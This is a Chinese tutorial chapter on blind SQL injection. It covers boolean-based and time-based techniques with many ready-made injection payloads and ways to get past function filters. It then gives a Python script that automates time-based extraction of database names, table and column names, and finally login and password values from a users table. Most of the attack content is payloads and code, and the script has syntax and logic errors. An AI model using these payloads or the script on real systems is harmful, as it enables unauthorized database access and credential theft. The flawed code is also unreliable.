第三章 SQL盲注
1.Boolean-Base布尔型注入
布尔盲注
只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否。
布尔盲注方法
' or '1'='1 以及变体
#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left(),mid(),函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx
#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
a' and ascii(substr((select database()),1,1))=114
a' and ascii(substr((select database()),1,1))>114
a' and ascii(substr((select database()),1,1))<20
ord(substr((select database()),1,1))=114
2.Blind Time-Based基于时间的盲注
时间盲注
若目标页面没有回显,甚至连注入语句是否执行都无从知晓,则通过注入特定语句,根据对页面请求的物理反馈,来判断是否注入成功。如:在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。
注入方法
-
a' and sleep(2) --
-
a' and select ascii(substr( database(),1,1))=114 and sleep(2)
获取数据库长度
a' and length(database())>10 and sleep(2) --
获取数据库名
a' and substr(database(),1,1)='s' and sleep(2)
或者a' and select ascii(substr(database(),1,1))=50 and sleep(2)
-
如果源码屏蔽了一些函数,则用其他代换,如:
substr————mid、left
adcii—————ord
database———DatabaSe
python自动化
import requests
import time
HEADER = {
#填入Cookie
"Cookie":"xxxxxx"
}
LEFT_URL = 'http://xxxx' #url的左半部分
RIGHT_URL = 'xxxx' #url的右半部分
#1.获取数据库名的长度
#例句:a' and length(database()) = 4 and sleep(2) -- &action=search
def get_database_name_length() -> int:
length = 0
for i in range(100)
url = LEFT_URL + "and length(database())={} and sleep(2) --&".format(i) + RIGHT_URL
start_time = time.time()
resp = requests.get(url,headers=HEADER)
if time.time()-start_time > 1:
print("数据库名的长度为{}" .format(i))
length = i
return length
#2.获取数据库名
#例句:a' and ascii(substr(database(),{},1)) = {} and sleep(2) -- &action=search
def get_database_name(length):
#ascii 33-127
for i in range (length + 1): #从数据库名的第一个字符开始
for j in range(33,127): #从ASCII码表中依次查询
url = LEFT_URL + "and ascii(substr(database(),{},1)) = {} and sleep(2) --&".format(i,j) + RIGHT_URL
start_time = time.time()
resp = requests.get(url,headers=HEADER)
if time.time()-start_time > 1:
print(chr(j))
#3.获取库中表的个数
#例句:a' and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2) -- &action=search
def get_table_count() -> int:
count = 0
for i in range(100)
url = LEFT_URL + "and (select count(table_name) from information_schema.tables where table_schema=database())={} and sleep(2) -- &".format(i) + RIGHT_URL
start_time = time.time()
resp = requests.get(url,headers=HEADER)
if time.time()-start_time > 1:
print("库中表的个数为{}".format(i))
count = i
return count
#4.获取表名的长度
#例句:a' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=4 and sleep(2) -- &action=search
def get_table_length_of_each_table(count)
for i in range(count + i): #第几个表
for j in range(100): #测试表的长度
url = LEFT_URL + "and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2) -- &".format(i,j) + RIGHT_URL
start_time = time.time()
resp = requests.get(url,headers=HEADER)
if time.time()-start_time > 1:
print("第{}张表的长度为{}".format(i,j))
#5.获取所有表名
#例句:a' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2) -- &action=search
#6.获取所需表users中字段个数
#例句:a' and (select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2) -- &action=search
#7.获取所需表中每个字段名的长度
#例句:a' and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2) -- &action=search
#8.获取所需表中每个字段名
#例句:a' and ascii(substr((select colunm_name from information_schema.columns where table_name='users' limit {},1),{},1)) = {} and sleep(2) -- &action=search
#9.获取所需字段中的值
#例句:a' and ascii(substr((select concat(login,'@',password) from users limit {},1),{},1))={} and sleep(2) -- &action=search"
if __name__ == '__main__':
get_database_name(get_database_name_length())
get_table_length_of_each_table(get_table_count())